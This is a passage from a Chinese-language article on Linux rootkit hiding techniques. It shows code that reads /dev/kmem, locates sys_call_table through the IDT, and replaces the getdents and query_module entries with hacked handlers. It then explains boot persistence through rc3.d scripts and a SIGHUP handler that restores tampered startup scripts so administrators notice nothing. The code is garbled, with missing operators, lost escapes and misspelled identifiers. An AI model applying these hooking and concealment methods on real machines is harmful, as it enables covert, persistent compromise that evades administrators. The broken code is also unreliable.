void readkmem(void *m,unsigned off,int sz) {………}
/*下面函數(shù)用于從src讀取count個字節(jié)至dest處*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct;//用來存放sys_call_table地址
char buff[100]; //用于存放system_call函數(shù)的前100個字節(jié) 。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr));//讀取idtr寄存器的值至idtr結(jié)構(gòu)中
readkmem(&idt,idtr.base 8*0x80,sizeof(idt))//將0x80描述符讀至idt結(jié)構(gòu)中
sys_ call_off=(idt.off2<<16)|idt.off1; //得到system_call函數(shù)的地址 。
readkmem(buff,sys_call_off,100) //讀取system_call函數(shù)的前100字節(jié)至buff
p=(char *)memmem(buff,100,”xffx14x85”,3);//得到call語句對應(yīng)機器碼的地址
sct=(unsigned *)(p 3)//得到sys_call_table的地址 。
至此已經(jīng)得到了sys_call_table在內(nèi)存中的位置,這樣在根據(jù)系統(tǒng)調(diào)用號就能夠找到相應(yīng)的系統(tǒng)調(diào)用對應(yīng)的地址,修改該地址就可以使用新的系統(tǒng)調(diào)函數(shù),具體的做法如下:
readkmem(&orig_getdents,sctSYS_getdents*4,4)//保存原來的系統(tǒng)調(diào)用
readkmem(&orig_query_module,sct SYS_query_module*4,4);
writekmem(hacked_getdents,sct SYS_getdents*4,4);//設(shè)置新的系統(tǒng)調(diào)用
writekmem(hacket_query_module,sct SYS_query_module*4,4);
2.5 其他的相關(guān)技術(shù)
上面已經(jīng)完全解決了隱藏的相關(guān)技術(shù)問題,在實際應(yīng)用中,可以把啟動模塊或者進程的代碼做成腳本加入到相應(yīng)的啟動目錄中,假設(shè)你的Linux運行級別為3,則可以加到目錄rc3.d中(該目錄常存在于/etc/rc.d或者/etc目錄下),然后把該腳本的名字改為可以隱藏的名字 。另一種方法就是在一些啟動腳本中加入啟動你的模塊或者進程的代碼,但這樣比較容易被發(fā)現(xiàn),一個解決思路就是進程或模塊啟動以后馬上恢復(fù)正常的腳本,由于系統(tǒng)關(guān)機時會向所有進程發(fā)送SIGHUP信號,可以在進程或模塊中處理該信號,使該信號發(fā)生時修改啟動腳本,重新加入啟動模塊的代碼,這樣當系統(tǒng)下次啟動時又可以加載這個的模塊了,而且管理員察看啟動腳本時也不會發(fā)現(xiàn)異常 。
3、結(jié)束語
本文對Linux環(huán)境下的一些高級隱藏技術(shù)進行了分析研究,其中所涉及的技術(shù)不僅可以用在系統(tǒng)安全方面,在其他方面也有重要的借鑒意義 。由于Linux的開放特性,使得攻擊者一旦獲得了root權(quán)限就能夠?qū)ο到y(tǒng)進行較多的修改,所以避免第一次被入侵是至關(guān)重要的 。
推薦閱讀
- 什么是封閉式手機系統(tǒng)
- win10系統(tǒng)免費升級具體操作流程
- 如何恢復(fù)誤刪除的Linux文件
- 在嵌入式Linux中實現(xiàn)802.11b無線網(wǎng)關(guān)
- Linux下安裝JDK,Tomcat及設(shè)置Cron程序
- Linux系統(tǒng)下如何加載U盤或移動硬盤
- 在Linux系統(tǒng)下建立強大的FTP搜索引擎
- 遠程控制跟IP地址配置 linux學(xué)習
- 在Linux系統(tǒng)下優(yōu)化Oracle具體步驟
- 在Linux桌面上 隨意使用Windows的文檔
